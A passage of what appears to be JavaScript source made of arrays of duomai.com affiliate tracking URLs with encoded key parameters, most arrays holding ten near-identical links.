"http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEzN5ETPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92Yucmbpt2bvJmL3d3dGJTJGJTJBNTJwRHd"],
    F = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgzMwETPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLnFmY51mL3d3dGJTJGJTJBNTJwRHdo1"],
    G = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmAzNxETPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YuQWZl5WauVnL3d3dGJTJGJTJBNTJwRHd"],
    H = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZCNzMTPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYt92duc3d3ZkMlYkMlE0MlAHd0h"],
    I = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmgTNwITPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5SdxdmblZmL3d3dGJTJGJTJBNTJwRHdo1"],
    J = ["http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmczNyUDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmEzM2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmQzM2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmczM2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmADN2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmMDN2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmYDN2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmkDN2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmITN2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd", "http://c.duomai.com/track.php?k=m0DZpVXZmcTN0ITPklWYmUTN2UDOx0DZp9VZ0l2cm02bj5Se1JWYsdmL3d3dGJTJGJTJBNTJwRHdo1Dd"],
    K = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmEDNyITPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5CcpJHdj5CazlGbn5WZGJTJGJTJBNTJwRHd"],
    L = ["http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h", "http://c.duomai.com/track.php?k=WP0ZSPklWdlZyNxcTPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUibj5SbvNmL4IjMuc3d3ZkMlYkMlE0MlAHd0h"],
    M = ["http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmczNyUDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmEzM2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmQzM2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmczM2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmADN2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmMDN2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmYDN2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmkDN2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmITN2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa", "http://c.duomai.com/track.php?k=t5CbsFWbGJTJGJTJBNTJwRHdo1Ddm0DZpVXZmQTMyITPklWYmUTN2UDOx0DZp9VZ0l2cmYiJx4SMuADNwAjMENTJnFGdtZjMlwGbh1GRzUSZwlHdfZXYuZ0MlYkMl02bj5SYlRWa"],
    N = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmczNyUDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmEzM2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmQzM2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmczM2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmADN2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmMDN2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmYDN2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmkDN2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmITN2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjN1ITPklWYmUTN2UDOx0DZp9VZ0l2cmYiJt92YuAjNzcmbvJnL3d3dGJTJGJTJBNTJwRHdo1"],
    O = ["http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmczNyUDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmEzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmQzM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmczM2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmADN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmMDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmYDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmkDN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmITN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR", "http://c.duomai.com/track.php?k=Hdo1Ddm0DZpVXZmgzM5ETPklWYmUTN2UDOx0DZp9VZ0l2cmYiRyUSbvNmLpFGZn52by5WYoNmL3d3dGJTJGJTJBNTJwR"],
    P = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmczNyUDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmEzM2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmQzM2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmczM2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmADN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmMDN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmYDN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmkDN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmITN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmIjNyITPklWYmUTN2UDOx0DZp9VZ0l2cmYkMl02bj5ibhVHdjxmL3d3dGJTJGJTJBNTJwRHdo1"],
    Q = ["http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd", "http://c.duomai.com/track.php?k=o1Ddm0DZpVXZmMTN1ITPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJt92YukWYkdmbvxmL3d3dGJTJGJTJBNTJwRHd"],
    R = ["http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmczNyUDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmEzM2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmQzM2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmczM2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmADN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmMDN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmYDN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmkDN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmITN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1", "http://c.duomai.com/track.php?k=Ddm0DZpVXZmEDO1ETPklWYmUTN2UDOx0DZp9VZ0l2cmYiJGJTJuNmLh5WdvRnL3d3dGJTJGJTJBNTJwRHdo1"],
    S = ["http://c.duomai.com/track.php?k=mITNwITPklWYmczNyUDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmEzM2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmQzM2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmczM2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmADN2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmMDN2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmYDN2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmkDN2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmITN2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ", "http://c.duomai.com/track.php?k=mITNwITPklWYmUTN2UDOx0DZp9VZ0l2cmYSbvNmLr5WYi9mduc3d31Ddm0DZpVXZ"],
